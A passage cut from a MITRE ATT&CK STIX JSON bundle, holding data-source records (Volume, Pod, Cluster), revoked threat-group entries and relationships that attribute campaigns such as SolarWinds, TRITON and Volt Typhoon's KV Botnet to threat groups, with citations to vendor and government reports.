Plane","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0018","external_id":"DS0018"},{"source_name":"AWS Sec Groups VPC","description":"Amazon. (n.d.). Security groups for your VPC. Retrieved October 13, 2021.","url":"https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["IaaS","Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane","Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0034","external_id":"DS0034"},{"source_name":"Amazon S3","description":"Amazon. (n.d.). Amazon S3. Retrieved October 13, 2021.","url":"https://aws.amazon.com/s3/"},{"source_name":"Azure Blob Storage","description":"Microsoft. (n.d.). Azure Blob Storage. Retrieved October 13, 2021.","url":"https://azure.microsoft.com/en-us/services/storage/blobs/"},{"source_name":"Google Cloud Storage","description":"Google. (n.d.). Cloud Storage. Retrieved October 13, 2021.","url":"https://cloud.google.com/storage"}],"modified":"2022-03-30T14:26:51.807Z","name":"Volume","description":"Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Container"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0014","external_id":"DS0014"},{"source_name":"Kube Kubectl","description":"kubernetes. (n.d.). kubectl. Retrieved October 13, 2021.","url":"https://kubernetes.io/docs/reference/kubectl/kubectl/"},{"source_name":"Kube Pod","description":"kubenetes. (n.d.). Pod v1 core. Retrieved October 13, 2021.","url":"https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#pod-v1-core"}],"modified":"2021-11-10T09:30:48.697Z","name":"Pod","description":"A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-12-07T19:51:37.141Z","name":"Cluster","description":"A set of containerized computing resources that are managed together but have separate nodes to execute various tasks and/or applications(Citation: Kube Cluster Admin)(Citation: Kube Cluster Info)","x_mitre_platforms":["Containers"],"x_mitre_deprecated":true,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Container"],"type":"x-mitre-data-source","id":"x-mitre-data-source--c3af32ff-65c5-4ea8-912a-fb4a85197239","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0031","external_id":"DS0031"},{"source_name":"Kube Cluster Admin","description":"kubernetes. (2021, January 16). Cluster Administration. Retrieved October 13, 2021.","url":"https://kubernetes.io/docs/concepts/cluster-administration/"},{"source_name":"Kube Cluster Info","description":"kubernetes. (n.d.). cluster-info. Retrieved October 13, 2021.","url":"https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cluster-info"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"id":"intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772","type":"intrusion-set","created":"2017-05-31T21:32:07.928Z","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0042","external_id":"G0042"}],"modified":"2018-10-17T00:17:13.469Z","name":"MONSOON","x_mitre_version":"1.0"},{"modified":"2023-08-23T18:47:11.704Z","name":"Charming Kitten","description":"[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)","aliases":["Charming Kitten"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--92d5b3fd-3b39-438e-af68-770e447beada","created":"2018-01-16T00:14:20.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0058","external_id":"G0058"},{"source_name":"Charming Kitten","description":"(Citation: ClearSky Charming Kitten Dec 2017)"},{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"id":"intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0057","external_id":"G0057"}],"modified":"2018-10-17T00:17:13.469Z","name":"APT34","x_mitre_version":"1.0"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3680408d-e56e-4d68-a74d-2678093ed53f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","relationship_type":"revoked-by","source_ref":"intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772","target_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49ebf3d0-48f7-4b04-a4e9-dd54a663dae1","created":"2023-08-23T18:47:11.706Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T18:47:11.706Z","description":"","relationship_type":"revoked-by","source_ref":"intrusion-set--92d5b3fd-3b39-438e-af68-770e447beada","target_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--632ca9a0-a9f3-4b27-96e1-9fcb8bab11cb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","relationship_type":"revoked-by","source_ref":"intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6","target_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--79cfdbac-3e7c-4d47-a85b-b735061b215a","created":"2021-10-07T12:21:31.535Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-21T14:39:32.591Z","relationship_type":"revoked-by","source_ref":"intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70","target_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--958ceb5f-7b5d-4f7f-94e3-814c2d0375d2","created":"2021-05-04T14:39:32.591Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-21T14:39:32.591Z","relationship_type":"revoked-by","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dfd0dc6c-33ad-44a4-9def-1d8e23e278fb","created":"2022-04-15T22:05:32.209Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-15T22:05:32.209Z","relationship_type":"revoked-by","source_ref":"intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71","target_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a69d74a-7662-4d18-99b4-bc1a574b35b4","created":"2024-08-07T19:44:50.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T17:34:36.786Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) probed victim infrastructure in support of [HomeLand Justice](https://attack.mitre.org/campaigns/C0038).(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"attributed-to","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31aebdb8-ce4d-4d31-a144-7a5c354bfd7c","created":"2024-09-16T09:06:37.274Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:06:37.274Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) was conducted by [APT41](https://attack.mitre.org/groups/G0096) from 2023 to July 2024.(Citation: Google Cloud APT41 2024)","relationship_type":"attributed-to","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b2680f0-aa69-4766-ab41-9123373ffa4e","created":"2023-03-26T22:13:48.078Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC2452 APT29 April 2022","description":"Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.","url":"https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29"},{"source_name":"NSA Joint Advisory SVR SolarWinds April 2021","description":"NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.","url":"https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"},{"source_name":"UK NSCS Russia SolarWinds April 2021","description":"UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.","url":"https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:13:48.078Z","description":"(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022)","relationship_type":"attributed-to","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b66e057-adbc-498d-99ee-156e0d17bd53","created":"2023-03-17T13:51:05.665Z","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T13:51:05.665Z","description":"(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"attributed-to","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d407dda-944a-4974-b1c2-0a04d2c9ee4c","created":"2023-09-27T13:17:12.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Andy Greenberg June 2017","description":"Andy Greenberg. (2017, June 28). How an Entire Nation Became Russia's Test Lab for Cyberwar. Retrieved September 27, 2023.","url":"https://www.wired.com/story/russian-hackers-attack-ukraine/"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T13:37:24.610Z","description":"(Citation: Andy Greenberg June 2017) (Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"attributed-to","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--538e5653-137a-4ce2-8b08-5ba69caa794a","created":"2024-03-25T17:58:07.886Z","revoked":false,"external_references":[{"source_name":"FireEye TRITON Dec 2017","description":"Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"},{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T17:58:07.886Z","description":"(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TRITON Dec 2017)","relationship_type":"attributed-to","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--751e795e-7c1a-4ba1-bb20-636aed025df9","created":"2022-09-22T17:12:46.793Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T17:12:46.793Z","description":"(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"attributed-to","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90647f03-38a4-4364-a3af-53640a81360e","created":"2023-03-31T18:11:19.943Z","revoked":false,"external_references":[{"source_name":"Joe Slowik August 2019","description":"Joe Slowik 2019, August 15 CRASHOVERRIDE: Reassessing the 2016 Ukraine Electric Power Event as a Protection-Focused Attack Retrieved. 2019/10/22 ","url":"https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T18:11:19.943Z","description":"(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Joe Slowik August 2019)","relationship_type":"attributed-to","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--990a03f8-5813-4fa8-b948-976730d4d285","created":"2022-12-01T15:42:30.462Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T15:42:30.462Z","description":"(Citation: Mandiant APT41)","relationship_type":"attributed-to","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3adcf1b-a48a-4fab-bc61-5e0b0aeaaca6","created":"2023-03-23T17:56:18.641Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T17:56:18.641Z","description":"(Citation: ESET Dukes October 2019)","relationship_type":"attributed-to","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b109514b-66b3-4c06-8b1d-4f89e1f2cfde","created":"2024-08-27T18:36:08.398Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:36:08.398Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) between June and August 2024.(Citation: Lumen Versa 2024)","relationship_type":"attributed-to","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3717846-eaab-4fde-99f6-a972dec9323b","created":"2024-03-27T19:43:45.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos-Sandworm-Ukraine-2022","description":"Dragos, Inc.. (2023, December 11). ELECTRUM Targeted Ukrainian Electric Entity Using Custom Tools and CaddyWiper Malware, October 2022. Retrieved March 28, 2024.","url":"https://www.dragos.com/blog/new-details-electrum-ukraine-electric-sector-compromise-2022/"},{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T16:02:58.250Z","description":"(Citation: Mandiant-Sandworm-Ukraine-2022)(Citation: Dragos-Sandworm-Ukraine-2022) ","relationship_type":"attributed-to","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd10cc43-3f46-42f4-9230-69a0e2751ab2","created":"2024-03-28T15:41:02.919Z","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:41:02.919Z","description":"(Citation: FireEye TRITON 2019)","relationship_type":"attributed-to","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ddbd85c0-2b3a-4311-966b-abc2e658c340","created":"2024-06-10T18:59:41.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-03T10:12:04.608Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) used [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) to build intermediate communication chains between operators and victims, such as identified access to victims in Guam.(Citation: Lumen KVBotnet 